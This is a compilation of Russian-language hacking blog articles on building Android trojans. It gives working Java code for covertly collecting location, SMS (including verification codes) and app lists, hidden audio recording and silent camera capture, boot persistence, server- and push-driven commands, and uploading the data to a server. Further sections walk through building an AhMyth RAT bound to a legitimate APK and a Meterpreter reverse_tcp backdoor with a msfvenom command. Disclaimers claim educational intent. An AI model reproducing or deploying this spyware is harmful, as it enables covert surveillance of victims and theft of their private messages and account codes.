Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).

В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:

Location getLastLocation(Context context) {

LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);

android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);

android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);

long GPSLocationTime = 0;

if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }

long NetLocationTime = 0;

if (null != locationNet) { NetLocationTime = locationNet.getTime(); }

Location loc;

if ( 0 < GPSLocationTime — NetLocationTime ) {

loc = locationGPS;

} else {

loc = locationNet;

}

if (loc != null) {

return loc;

} else {

return null;

}

}

Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.

Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:

Location loc = getLastKnownLocation(context)

String locationFile = context.getApplicationInfo().dataDir + «/location»

try {

OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));

outputStreamWriter.write(loc.getLatitude() + » » + loc.getLongitude);

outputStreamWriter.close();

}

catch (IOException e) {}

Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.

Список установленных приложений

Получить список установленных приложений еще проще:

void dumpSMS(Context context) {

String appsFile = context.getApplicationInfo().dataDir + «/apps»

final PackageManager pm = context.getPackageManager();

List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);

try {

PrintWriter pw = Files.writeLines(appsFile);

for (ApplicationInfo packageInfo : packages) {

if (!isSystemPackage(packageInfo))

pw.println(pm.getApplicationLabel(packageInfo) + «: » + packageInfo.packageName);

}

pw.close();

} catch (IOException e) {}

}

private boolean isSystemPackage(ApplicationInfo applicationInfo) {

return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);

}

Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.

Дамп СМС

Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:

void dumpSMS(Context context, String file, String box) {

SimpleDateFormat formatter = new SimpleDateFormat(«yyyy.MM.dd HH:mm:ss», Locale.US);

Cursor cursor = context.getContentResolver().query(Uri.parse(«content://sms/» + box), null, null, null, null);

try {

PrintWriter pw = Files.writeLines(file);

if (cursor != null && cursor.moveToFirst()) {

do {

String address = null;

String date = null;

String body = null;

for (int idx = 0; idx < cursor.getColumnCount(); idx++) {

switch (cursor.getColumnName(idx)) {

case «address»:

address = cursor.getString(idx);

break;

case «date»:

date = cursor.getString(idx);

break;

case «body»:

body = cursor.getString(idx);

}

}

if (box.equals(«inbox»)) {

pw.println(«From: » + address);

} else {

pw.println(«To: » + address);

}

String dateString = formatter.format(new Date(Long.valueOf(date)));

pw.println(«Date: » + dateString);

if (body != null) {

pw.println(«Body: » + body.replace(‘n’, ‘ ‘));

} else {

pw.println(«Body: «);

}

pw.println();

} while (cursor.moveToNext());

}

pw.close();

cursor.close();

} catch (Exception e) {}

}

Использовать его следует так:

  • Сохраняем список всех полученных СМС

String inboxFile = context.getApplicationInfo().dataDir + «/sms_inbox»

dumpSMS(context, inboxFile, «inbox»);

  • Сохраняем список отправленных СМС

String sentFile = context.getApplicationInfo().dataDir + «/sms_sent»;

dumpSMS(context, sentFile, «sent»);

Записи в файле будут выглядеть примерно так:

From: Google

Date: 2018.07.08 06:49:55

Body: [email protected] is your Google verification code.

Скрытая запись аудио

Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:

void recordAudio(String file, final int time) {

MediaRecorder recorder = new MediaRecorder();

recorder.setAudioSource(MediaRecorder.AudioSource.MIC);

recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);

recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

recorder.setOutputFile(file);

try {

recorder.prepare();

} catch (IOException e) {}

recorder.start();

Thread timer = new Thread(new Runnable() {

@Override

public void run() {

try {

Thread.sleep(time * 1000);

} catch (InterruptedException e) {

Log.d(TAG, «timer interrupted»);

} finally {

recorder.stop();

recorder.release();

}

}

});

timer.start();

}

Использовать его можно, например, так:

DateFormat formatter = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss», Locale.US);

Date date = new Date();

String filePrefix = context.getApplicationInfo().dataDir + «/audio-«;

recordAudio(filePrefix + formatter.format(date) + «.mp4», 15);

Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.mp4.

Скрытая съемка

С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.

Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):

public class SilentCamera2 {

private Context context;

private CameraDevice device;

private ImageReader imageReader;

private CameraCaptureSession session;

private SurfaceTexture surfaceTexture;

private CameraCharacteristics characteristics;

private Surface previewSurface;

private CaptureRequest.Builder request;

private Handler handler;

private String photosDir;

public SilentCamera2(Context context) {

this.context = context;

}

private final CameraDevice.StateCallback mStateCallback =

new CameraDevice.StateCallback() {

@Override

public void onOpened(CameraDevice cameraDevice) {

device = cameraDevice;

try {

surfaceTexture = new SurfaceTexture(10);

previewSurface = new Surface(surfaceTexture);

List<Surface> surfaceList = new ArrayList<>();

surfaceList.add(previewSurface);

surfaceList.add(imageReader.getSurface());

cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler);

} catch (Exception e) {

}

}

@Override

public void onDisconnected(CameraDevice cameraDevice) {

}

@Override

public void onError(CameraDevice cameraDevice, int error) {

}

};

private CameraCaptureSession.StateCallback mCaptureStateCallback =

new CameraCaptureSession.StateCallback() {

@Override

public void onConfigured(CameraCaptureSession captureSession) {

session = captureSession;

try {

request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);

request.addTarget(previewSurface);

request.set(CaptureRequest.CONTROL_AF_TRIGGER,

CameraMetadata.CONTROL_AF_TRIGGER_START);

captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler);

} catch (Exception e) {

}

}

@Override

public void onConfigureFailed(CameraCaptureSession mCaptureSession) {}

};

private CameraCaptureSession.CaptureCallback mCaptureCallback =

new CameraCaptureSession.CaptureCallback() {

@Override

public void onCaptureCompleted(CameraCaptureSession session,

CaptureRequest request,

TotalCaptureResult result) {

}

};

private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =

new ImageReader.OnImageAvailableListener() {

@Override

public void onImageAvailable(ImageReader reader) {

DateFormat dateFormat = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss»);

Date date = new Date();

String filename = photosDir + «/» + dateFormat.format(date) + «.jpg»;

File file = new File(filename);

Image image = imageReader.acquireLatestImage();

try {

ByteBuffer buffer = image.getPlanes()[0].getBuffer();

byte[] bytes = new byte[buffer.remaining()];

buffer.get(bytes);

OutputStream os = new FileOutputStream(file);

os.write(bytes);

image.close();

os.close();

} catch (Exception e) {

e.getStackTrace();

}

closeCamera();

}

};

private void takePicture() {

request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation());

request.addTarget(imageReader.getSurface());

try {

session.capture(request.build(), mCaptureCallback, handler);

} catch (CameraAccessException e) {

}

}

private void closeCamera() {

try {

if (null != session) {

session.abortCaptures();

session.close();

session = null;

}

if (null != device) {

device.close();

device = null;

}

if (null != imageReader) {

imageReader.close();

imageReader = null;

}

if (null != surfaceTexture) {

surfaceTexture.release();

}

} catch (Exception e) {

}

}

public boolean takeSilentPhoto(String cam, String dir) {

photosDir = dir;

int facing;

switch (cam) {

case «front»:

facing = CameraCharacteristics.LENS_FACING_FRONT;

break;

case «back»:

facing = CameraCharacteristics.LENS_FACING_BACK;

break;

default:

return false;

}

CameraManager manager = (CameraManager)

context.getSystemService(Context.CAMERA_SERVICE);

String cameraId = null;

characteristics = null;

try {

for (String id : manager.getCameraIdList()) {

characteristics = manager.getCameraCharacteristics(id);

Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING);

if (currentFacing != null && currentFacing == facing) {

cameraId = id;

break;

}

}

} catch (Exception e) {

return false;

}

HandlerThread handlerThread = new HandlerThread(«CameraBackground»);

handlerThread.start();

handler = new Handler(handlerThread.getLooper());

imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2);

imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler);

try {

manager.openCamera(cameraId, mStateCallback, handler);

  • Ждем фокусировку

Thread.sleep(1000);

takePicture();

} catch (Exception e) {

Log.d(TAG, «Can’t open camera: » + e.toString());

return false;

}

return true;

}

private int getOrientation() {

WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);

int rotation = wm.getDefaultDisplay().getRotation();

int deviceOrientation = 0;

switch(rotation){

case Surface.ROTATION_0:

deviceOrientation = 0;

break;

case Surface.ROTATION_90:

deviceOrientation = 90;

break;

case Surface.ROTATION_180:

deviceOrientation = 180;

break;

case Surface.ROTATION_270:

deviceOrientation = 270;

break;

}

int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);

deviceOrientation = (deviceOrientation + 45) / 90 * 90;

boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;

if (facingFront) deviceOrientation = -deviceOrientation;

return (sensorOrientation + deviceOrientation + 360) % 360;

}

}

Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.

String cameraDir = context.getApplicationInfo().dataDir + «/camera/»

camera.takeSilentPhoto(«front», cameraDir);

Складываем все вместе

С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.

Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.

Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.

Задания по расписанию

Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:

public class Alarm extends BroadcastReceiver {

public static void set(Context context) {

AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);

Intent intent = new Intent(context, Alarm.class);

PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0);

am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent);

}

@Override

public void onReceive(Context context, Intent intent) {

  • Твой код здесь

}

}

Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.

В метод «onCreate()» сервиса добавьте следующую строку:

Alarm.set(this)

Снимок при включении экрана

Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:

class ScreenOnReceiver extends BroadcastReceiver() {

@Override

void onReceive(Context context, Intent intent) {

  • Ваш код здесь

}

}

И добавьте в манифест следующие строки:

<receiver android:name=»com.example.app.ScreenOnReceiver»>

<intent-filter>

<action android:name=»android.intent.action.ACTION_SCREEN_ON» />

</intent-filter>

</receiver>

Запуск при загрузке

В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:

class BootReceiver extends BroadcastReceiver() {

@Override

void onReceive(Context context, Intent intent) {

Intent serviceIntent = new Intent(this, MainService.class);

startService(serviceIntent);

}

}

И опять же добавим его в манифест:

<receiver android:name=»com.example.BootReceiver»>

<intent-filter>

<action android:name=»android.intent.action.BOOT_COMPLETED» />

</intent-filter>

</receiver>

Запись аудио по команде

С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.

В коде это может выглядеть примерно так:

String url = «//example.com/cmd»

OkHttpClient client = new OkHttpClient();

Request request = new Request.Builder().url(url).build();

while (true) {

Response response = client.newCall(request).execute();

String cmd = response.body().string();

cmd = cmd.trim()

if (cmd.equals(«record»)) {

  • Делаем аудиозапись

}

try {

Thread.sleep(60 * 1000);

} catch (InterruptedException e) {}

}

Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.

Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.

Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:

class App extends Application {

@Override

public void onCreate() {

super.onCreate()

OneSignal.startInit(this).init()

}

}

Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:

class OSService extends NotificationExtenderService {

@Override

protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) {

String cmd = receivedResult.payload.body.trim()

if (cmd.equals(«record»)) {

  • Делаем аудиозапись

}

  • Не показывать уведомление

return true

}

}

Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.

Последний штрих — добавим сервис в манифест:

<service

android:name=»org.antrack.app.service.OSService»

android:exported=»false»>

<intent-filter>

<action android:name=»com.onesignal.NotificationExtender» />

</intent-filter>

</service>

Отправка данных на сервер

На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:

private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse(«image/jpeg»);

public void uploadImage(File image, String imageName) throws IOException {

OkHttpClient client = new OkHttpClient();

RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM)

.addFormDataPart(«file», imageName, RequestBody.create(MEDIA_TYPE_JPEG, image))

.build();

Request request = new Request.Builder().url(«//com.example.com/upload»)

.post(requestBody).build();

Response response = client.newCall(request).execute();

}

Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.

Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.

Выводы

Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.

На этом все. Теперь вы знаете как хакеры создают трояны для Андроид.


Если Вам понравилась статья — поделитесь с друзьями

806 просмотров

Отказ от ответственности: Автор или издатель не публиковали эту статью для вредоносных целей. Вся размещенная информация была взята из открытых источников и представлена исключительно в ознакомительных целях а также не несет призыва к действию. Создано лишь в образовательных и развлекательных целях. Вся информация направлена на то, чтобы уберечь читателей от противозаконных действий. Все причиненные возможные убытки посетитель берет на себя. Автор проделывает все действия лишь на собственном оборудовании и в собственной сети. Не повторяйте ничего из прочитанного в реальной жизни. | Так же, если вы являетесь правообладателем размещенного на страницах портала материала, просьба написать нам через контактную форму жалобу на удаление определенной страницы, а также ознакомиться с инструкцией для правообладателей материалов. Спасибо за понимание.

Если вам понравились материалы сайта, вы можете поддержать проект финансово, переведя некоторую сумму с банковской карты, счёта мобильного телефона или из кошелька ЮMoney.

Как делают вирусы для Android?

вирус для андроидВсе чаще и чаще на страницах моего и других блогов появляются заметки об очередном вирусе для Android или ботнета. Причем всплески вирусной активности возникают внезапно и спонтанно. Не было ничего месяца два, а тут раз и троян. Как же так? Как вообще появляются вирусы для Андроида и кто их пишет?

Как написать вирус?

Вкратце объясню процесс создания трояна для Андроид и почему подобная техника не применяется при разработке компьютерных вирусов. Итак, как же написать вирус для Андроид. Пишется простейший код на Java, который используя возможности ОС посылает сообщение на платный номер, зарегистрированный, например, в другой стране. Далее вредоносный код вставляется в любое легитимное приложение и выкладывается в сеть. Пользователь скачивает резидентную программу, предоставляет ей нужные права и запускает. Программа незаметно для пользователя выполняет свою работу. Обычно в виде таких программ выступают поддельные антивирусы или системные утилиты.

Все предельно понятно, кроме того кто захочет скачивать непонятную программу со стороннего сервера? Везде есть нюансы. Самым результативным методом будет создание по настоящему рабочего и полезного приложения или игры, которая попадет в Google Play. Его скачивают, им пользуются, пишут полезные отзывы, ставят оценки. Приложение необходимо обновлять и поддерживать.

После двух-трех недель можно внедрять вредоносный код в обновление программы. Однако Google Play его не пропустит, поэтому обновления нужно реализовать через сторонние сервера. Если у пользователя поставлена галочка на устройстве «загружать приложения со сторонних источников», малварь беспрепятственно попадет куда надо. Отсюда становится ясно, что подобная техника не может быть применена при разработке вирусов для Windows, ввиду другой структуры системы. Да и антивирусы теперь установлены почти на каждой машине. Я уже молчу про онлайн проверку компьютера на вирусы.

Кто и зачем это делает?

К чему такие сложности? Ответ очевиден — это выгодно! Множество доверчивых пользователей рутуют свои девайсы для установки очередной игрушки. Подобных смартфонов бесчисленное множество. Распространяя приложение через Google Play (бывший Market) можно завоевать большую популярность. Когда троян начинает работать, на счета злоумышленников перетекают немалые деньги со счетов наивных пользователей.

Как защититься?

Запретите своему смартфону обновляться через сторонние серверы и установите нормальный антивирус. О необходимости антивируса уже было написано в этой статье. Радует, что в основном очаги заражения не возникают в нашей стране. Все чаще жертвами становятся бразильцы и китайцы. Хотя это ни о чем не говорит.

Хотелось бы напомнить читателям блога, что данный метод заработка не является законным и преследуется полицией. За написание вируса и его распространение вы можете не только выплатить огромный штраф, но и угодить за решетку. Однако, никто не запрещает исследовать данную проблему с целью нахождения решения аналогичных проблем.

AhMyth. Создаем RAT для Android с помощью простого конструктора

Термином RAT (Remote Access Tool) принято называть утилиты удаленного администрирования. Они могут использоваться в благих целях по своему прямому назначению, как, например, знаменитый TeamViewer, а могут устанавливаться злодеями в глубокой тайне от пользователя. В подобных случаях RAT нередко расшифровывают как Remote Access Trojan, и прямой перевод английского слова rat — «крыса» — тут приходится как нельзя кстати.

AhMyth RAT (Remote Access Trojan) — это приложение с открытым исходным кодом, в настоящее время находится на стадии бета-версии. Программа ориентирована на пользователей Windows, но на GitHub можно найти исходники и для Unix-подобных платформ.

AhMyth RAT состоит из двух компонентов.

Серверное приложение, с помощью которого можно управлять зараженным устройством и генерировать файлы APK с вредоносным кодом. Создано оно на Electron framework — фреймворке, разработанном в GitHub для создания простых графических приложений.

Клиентский APK, содержащий вредоносный код, который позволяет получить удаленный доступ к зараженному устройству. То есть наш APK будет выполнять функции бэкдора.

Установка AhMyth RAT

Серверная часть устанавливается очень просто, тем более автор выложил в свободный доступ бинарники программы. Но при желании можно скомпилировать ее из исходников. Лично я проводил свои тесты на машине под управлением Windows 10.

Для работы утилиты нам необходима виртуальная машина Java. Устанавливаем ее с официального сайта Java. Затем нужно скачать бинарники самой AhMyth. Их ты можешь найти в официальном репозитории проекта на GitHub, вкладка Assets. При скачивании лучше отключить антивирус, чтобы его не хватил удар от происходящего.

Создаем зараженный APK

Чтобы создать файл APK для Android, открой вкладку APK Builder. Внешний вид конструктора вредоносных мобильных приложений показан на следующей иллюстрации.

Вкладка с конструктором APK

Вкладка с конструктором APK

Пользоваться этим инструментом очень просто. В окне Source IP мы прописываем IP-адрес атакующей машины (этот адрес потом легко вычисляется при исследовании вредоноса). В поле Source Port ты можешь указать порт, который будет зарезервирован машиной для прослушивания подключений. По умолчанию используется порт 42 474.

WARNING

Помни, что распространение вирусов и вредоносных программ — незаконное действие и влечет за собой уголовную ответственность. Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не призывают к использованию полученных знаний в практических целях и не несут ответственности за любой возможный вред, причиненный материалом.

Без использования дополнительной опции Bind With Another Apk ты сгенерируешь мобильное приложение только с вредоносным кодом. И это практически бесполезно, поскольку заставить юзера установить такую программу можно разве что под пытками.

Но есть проверенный способ создания малвари, который используют все продвинутые вирмейкеры: найти в интернете какой-нибудь APK и склеить его с вредоносом. Для этого поставь флажок Bind With Another Apk, выбери нужный APK и укажи метод интеграции вредоноса в телефон. Есть два метода: при запуске зараженного APK или при перезагрузке телефона после установки RAT. Авторы программы рекомендуют второй вариант.

Осталось нажать кнопку Build — по умолчанию зараженный файл сохраняется в папку C:Users<Your_Username>AhMythOutput .

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Статья Собираем скрытый троян на Android(persistence) Часть I

Привет с вами DarkNode
Вся инфа в ознокомительных целях,автор не несет ответственности за область ее применения!

Сегодня будем учиться делать скрытый троян|бекдор на андроид средствами разработки на Android Studio и используя исходник от Android Meterpreter Payload с дальнейшим закреплением в системе.

Что нам понадобится:

Android Studio и Android SDK офф_сайт(

)
Android Meterpreter Payload source code (https://github.com/giovannicolonna/msfvenom-backdoor-android)
Ссылки так же будут в описании видео

Первый этап (Подготовительный):
Качаем SourceCode(исходник) метерпретора под андроид,ставим андроид студию и SDK (Этот момент я расписывать не буду
если у кого то возникнут трудности — стучитесь в личку)
(При установке SDK вы можете скачать пакеты AVD(Аndroid Virtual Device|Аднроид эмуляторов) для тестирования приложения на эмулированом устройстве,но как по мне то эти эмуляторы очень таки медленные и лучше тестировать на своем реальном девайсе или же использовать другой эмулятор (например genymotion или образы андроида для виртуалок) Ссылки на то как настроить студию с генимоушн или физическим девайсом я кину в конце статьи и в описания видео.
Ну я уже все скачал.Показывать процесс установки не буду.Опять же таки если трудности возникнут с установкой( но не должны))) ) -стучите личку.
Запускаем студию,создаем проект,даем ему имя. Выбираем минимальную версию API андроида,я выбрал IceCreamSandwich 4.0 так как

1.png

2.png

3.png

Второй этап (Базовые настройки пейлоада)
Открываем наш проект в студии.

4.png

5.png

6.png

Затем нам будет интересен файл MyIntentService.java,в котором мы сможем опционально задать интервал времени через которое наш бекдор будет конектиться к машине атакуищего.
( long half_an_hour = (3600)/(2) ; //время в секундах между каждой попыткой открыть новую meterpreter сессию » Я для демонстрации поставлю минуту» )

7.png

Далее нам понадобится AndroidManifest.xml из архива. Возьмем от туда пользовательские разрешение (user.permisions) и все что между тегами <application></application>
После того как мы копипасним пермишенс и апликейшн нам нужно будет опционально изменить(указать) имя активити(<activiyt>android:name) и имя службы(<Service>android:name)

8.png

9.png

Хотя студия сама нам это покажет что не нашла пути которое по дефолту был в тегах активити и сервиса(выделит их красным цветом).
Нужно заменить их (stage.metasploit.com на com.darknode.google_update в моем случае «путь(имя) к вашему проекту»)

10.png

11.png

Но в манифесте (AndroidManifest.xml) из архива есть один небольшой косяк .После копипаста его в наш проект нужно добавить права(permisions),так как там не полный нужный нам список прав.
Для этого возьмем и реверснем апк созданный с помощью msfvenon:
msfvenom -p android/meterpreter/reverse_tcp lhost=айпи lport=порт r > ./meter.apk (хотя айпи и порт можно рандомный,нам нужен только манифест от туда)

12.jpg

13.jpg

Скопируем разрешение с манифеста в наш проект

14.png

15.png

Далее осталось подписать наше приложения.

16.png

17.png

Подписали) Ну что ж давайте протестим.))

18.png

19.jpg

20.jpg

21.jpg

22.jpg

На этом наш этап пока закончим.Продолжения следует в следующей статье(видео)
Всем спасибо.

Пишем RAT для Android без навыков программирования.

Social Engineering

Благодаря стараниям Илона Маска сегодня можно управлять «Теслой», не умея водить машину. А благодаря разработчику, который скрывается под ником AhMyth (и так же назвал свою программу), любой желающий может создать троян для Android, совершенно не умея программировать. Как? Сейчас покажу.

Термином RAT (Remote Access Tool) принято называть утилиты удаленного администрирования. Они могут использоваться в благих целях по своему прямому назначению, как, например, знаменитый TeamViewer, а могут устанавливаться злодеями в глубокой тайне от пользователя. В подобных случаях RAT нередко расшифровывают как Remote Access Trojan, и прямой перевод английского слова rat — «крыса» — тут приходится как нельзя кстати.

AhMyth RAT (Remote Access Trojan) — это приложение с открытым исходным кодом, в настоящее время находится на стадии бета-версии. Программа ориентирована на пользователей Windows, но на GitHub можно найти исходники и для Unix-подобных платформ.

AhMyth RAT состоит из двух компонентов.

  1. Серверное приложение, с помощью которого можно управлять зараженным устройством и генерировать файлы APK с вредоносным кодом. Создано оно на Electron framework — фреймворке, разработанном в GitHub для создания простых графических приложений.
  2. Клиентский APK, содержащий вредоносный код, который позволяет получить удаленный доступ к зараженному устройству. То есть наш APK будет выполнять функции бэкдора.

Установка AhMyth RAT.

Серверная часть устанавливается очень просто, тем более автор выложил в свободный доступ бинарники программы. Но при желании можно скомпилировать ее из исходников. Лично я проводил свои тесты на машине под управлением Windows 10.

Для работы утилиты нам необходима виртуальная машина Java. Устанавливаем ее с официального сайта Java. Затем нужно скачать бинарники самой AhMyth. Их ты можешь найти в официальном репозитории проекта на GitHub, вкладка Assets. При скачивании лучше отключить антивирус, чтобы его не хватил удар от происходящего.

Создаем зараженный APK.

Чтобы создать файл APK для Android, открой вкладку APK Builder. Внешний вид конструктора вредоносных мобильных приложений показан на следующей иллюстрации.

Вкладка с конструктором APK

Пользоваться этим инструментом очень просто. В окне Source IP мы прописываем IP-адрес атакующей машины (этот адрес потом легко вычисляется при исследовании вредоноса). В поле Source Port ты можешь указать порт, который будет зарезервирован машиной для прослушивания подключений. По умолчанию используется порт 42 474.

Помни, что распространение вирусов и вредоносных программ — незаконное действие и влечет за собой уголовную ответственность. Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не призывают к использованию полученных знаний в практических целях и не несут ответственности за любой возможный вред, причиненный материалом.

Без использования дополнительной опции Bind With Another Apk ты сгенерируешь мобильное приложение только с вредоносным кодом. И это практически бесполезно, поскольку заставить юзера установить такую программу можно разве что под пытками.

Но есть проверенный способ создания малвари, который используют все продвинутые вирмейкеры: найти в интернете какой-нибудь APK и склеить его с вредоносом. Для этого поставь флажок Bind With Another Apk, выбери нужный APK и укажи метод интеграции вредоноса в телефон. Есть два метода: при запуске зараженного APK или при перезагрузке телефона после установки RAT. Авторы программы рекомендуют второй вариант.

Осталось нажать кнопку Build — по умолчанию зараженный файл сохраняется в папку C:Users<Your_Username>AhMythOutput.

Распространение и заражение.

Как распространяются собранные таким методом вредоносы — это отдельная тема для дискуссий. Отмечу только, что в Google Play регулярно обнаруживают зараженные RAT программы и столь же регулярно их оттуда выпиливают, что не мешает малвари появляться в этом каталоге снова. Кроме того, методы социальной инженерии никто не отменял. Но помни, что для активации трояна после установки приложения обязательно нужно запустить или перезагрузить зараженное устройство (в зависимости от настроек билдера).

Запуск вируса на устройстве

Для успеха также требуется, чтобы в настройках целевого устройства был отключен параметр «Установка только из доверенных источников».

Соединяемся с зараженным устройством.

Теперь нам нужно перейти во вкладку Victims и вбить в поле тот же порт, что мы указывали раньше, чтобы сервер ждал подключений от зараженных устройств. Опять же если ты ничего не менял при сборке APK, то ничего не надо указывать и здесь.

Нажимаем на Listen, и, если наш APK успешно заразил мобильное устройство, мы увидим новое подключение.

Доступные устройства

Программа также логирует все действия в консоли, расположенной в нижней части окна. Значения колонок журнала в целом очевидны. Country — страна, в которой работает зараженное устройство. Manuf — компания — изготовитель девайса. Model — код или название модели устройства. Release — версия операционной системы зараженного девайса (в моем случае это Android 10). IP — IP-адрес устройства, а Port — порт, через который инфицированный девайс подключился к атакующей машине.

Теперь пора переходить к активным действиям — для этого смело жми на кнопку Open The Lab.

Возможности AhMyth.

